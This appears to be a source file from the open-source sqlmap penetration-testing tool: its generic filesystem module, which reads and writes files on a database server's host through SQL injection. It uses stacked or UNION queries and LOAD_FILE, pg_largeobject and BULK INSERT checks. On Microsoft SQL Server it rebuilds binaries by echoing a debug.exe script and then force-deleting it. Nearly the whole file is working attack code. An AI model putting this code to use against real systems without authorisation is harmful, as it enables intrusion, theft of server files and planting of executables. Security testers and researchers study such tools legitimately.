#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import binascii
import codecs
import os
from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import Backend
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapUndefinedMethod
from lib.request import inject
class Filesystem:
"""
This class defines generic OS file system functionalities for plugins.
"""
def __init__(self):
self.fileTblName = "sqlmapfile"
self.tblField = "data"
def __unbase64String(self, base64Str):
unbase64Str = "%s\n" % base64Str.decode("base64")
return unbase64Str
def __unhexString(self, hexStr):
if len(hexStr) % 2 != 0:
errMsg = "for some reason(s) sqlmap retrieved an odd-length "
errMsg += "hexadecimal string which it is not able to convert "
errMsg += "to raw string"
logger.error(errMsg)
return hexStr
try:
cleanStr = binascii.unhexlify(hexStr)
except TypeError, e:
logger.critical("unable to unhex the string ('%s')" % e)
return None
return cleanStr
def __binDataToScr(self, binaryData, chunkName):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system
"""
fileLines = []
fileSize = len(binaryData)
lineAddr = 0x100
lineLen = 20
fileLines.append("n %s" % chunkName)
fileLines.append("rcx")
fileLines.append("%x" % fileSize)
fileLines.append("f 0100 %x 00" % fileSize)
for fileLine in xrange(0, len(binaryData), lineLen):
scrString = ""
for lineChar in binaryData[fileLine:fileLine+lineLen]:
strLineChar = binascii.hexlify(lineChar)
if not scrString:
scrString = "e %x %s" % (lineAddr, strLineChar)
else:
scrString += " %s" % strLineChar
lineAddr += len(lineChar)
fileLines.append(scrString)
fileLines.append("w")
fileLines.append("q")
return fileLines
def __checkWrittenFile(self, wFile, dFile, fileType):
if Backend.isDbms(DBMS.MYSQL):
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
elif Backend.isDbms(DBMS.PGSQL):
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
wFileSize = os.path.getsize(wFile)
logger.debug("checking if the %s file has been written" % fileType)
dFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(dFileSize):
infoMsg = "the file has been successfully written and "
infoMsg += "its size is %s bytes" % dFileSize
dFileSize = long(dFileSize)
if wFileSize == dFileSize:
infoMsg += ", same size as the local file '%s'" % wFile
else:
infoMsg += ", but the size differs from the local "
infoMsg += "file '%s' (%d bytes)" % (wFile, wFileSize)
logger.info(infoMsg)
else:
warnMsg = "it looks like the file has not been written, this "
warnMsg += "can occur if the DBMS process' user has no write "
warnMsg += "privileges in the destination path"
logger.warn(warnMsg)
def fileToSqlQueries(self, fcEncodedList):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system
"""
counter = 0
sqlQueries = []
for fcEncodedLine in fcEncodedList:
if counter == 0:
sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
else:
updatedField = agent.simpleConcatQuery(self.tblField, fcEncodedLine)
sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
counter += 1
return sqlQueries
def fileEncode(self, fileName, encoding, single):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system
"""
fcEncodedList = []
fp = codecs.open(fileName, "rb")
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
if not single:
fcLength = len(fcEncodedStr)
if fcLength > 256:
for i in xrange(0, fcLength, 256):
string = ""
if encoding == "hex":
string += "0x"
string += fcEncodedStr[i:i+256]
if encoding == "base64":
string = "'%s'" % string
fcEncodedList.append(string)
if not fcEncodedList:
if encoding == "hex":
fcEncodedStr = "0x%s" % fcEncodedStr
elif encoding == "base64":
fcEncodedStr = "'%s'" % fcEncodedStr
fcEncodedList = [ fcEncodedStr ]
return fcEncodedList
def updateBinChunk(self, binaryData, tmpPath):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system
"""
randScr = "tmpf%s.scr" % randomStr(lowercase=True)
chunkName = randomStr(lowercase=True)
fileScrLines = self.__binDataToScr(binaryData, chunkName)
forgedScrLines = []
cmd = ""
charCounter = 0
maxLen = 512
logger.debug("generating binary file %s\%s, please wait.." % (tmpPath, chunkName))
for scrLine in fileScrLines:
forgedScrLine = "echo %s " % scrLine
forgedScrLine += ">> \"%s\%s\"" % (tmpPath, randScr)
forgedScrLines.append(forgedScrLine)
for forgedScrLine in forgedScrLines:
cmd += "%s & " % forgedScrLine
charCounter += len(forgedScrLine)
if charCounter >= maxLen:
self.execCmd(cmd)
cmd = ""
charCounter = 0
if cmd:
self.execCmd(cmd)
commands = ( "cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr )
complComm = " & ".join(command for command in commands)
self.execCmd(complComm, silent=True)
return chunkName
def askCheckWrittenFile(self, wFile, dFile, fileType):
message = "do you want confirmation that the file '%s' " % dFile
message += "has been successfully written on the back-end DBMS "
message += "file system? [Y/n] "
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
self.__checkWrittenFile(wFile, dFile, fileType)
def unionReadFile(self, rFile):
errMsg = "'unionReadFile' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def stackedReadFile(self, rFile):
errMsg = "'stackedReadFile' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "'unionWriteFile' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "'stackedWriteFile' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def readFile(self, rFile):
fileContent = None
self.checkDbmsOs()
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
debugMsg = "going to read the file with stacked query SQL "
debugMsg += "injection technique"
logger.debug(debugMsg)
fileContent = self.stackedReadFile(rFile)
elif Backend.isDbms(DBMS.MYSQL):
fileContent = self.unionReadFile(rFile)
else:
errMsg = "none of the SQL injection techniques detected can "
errMsg += "be used to read files from the underlying file "
errMsg += "system of the back-end %s server" % Backend.getDbms()
logger.error(errMsg)
return None
if fileContent in ( None, "" ) and not Backend.isDbms(DBMS.PGSQL):
self.cleanup(onlyFileTbl=True)
return
elif isinstance(fileContent, (list, tuple, set)):
newFileContent = ""
for chunk in fileContent:
if isinstance(chunk, (list, tuple, set)):
if len(chunk) > 0:
chunk = chunk[0]
else:
chunk = ""
if chunk:
newFileContent += chunk
fileContent = newFileContent
fileContent = self.__unhexString(fileContent)
rFilePath = dataToOutFile(fileContent)
if not Backend.isDbms(DBMS.PGSQL):
self.cleanup(onlyFileTbl=True)
return rFilePath
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
self.checkDbmsOs()
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
debugMsg = "going to upload the %s file with " % fileType
debugMsg += "stacked query SQL injection technique"
logger.debug(debugMsg)
self.stackedWriteFile(wFile, dFile, fileType, confirm)
self.cleanup(onlyFileTbl=True)
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
debugMsg = "going to upload the %s file with " % fileType
debugMsg += "UNION query SQL injection technique"
logger.debug(debugMsg)
self.unionWriteFile(wFile, dFile, fileType, confirm)
else:
errMsg = "none of the SQL injection techniques detected can "
errMsg += "be used to write files to the underlying file "
errMsg += "system of the back-end %s server" % Backend.getDbms()
logger.error(errMsg)
return None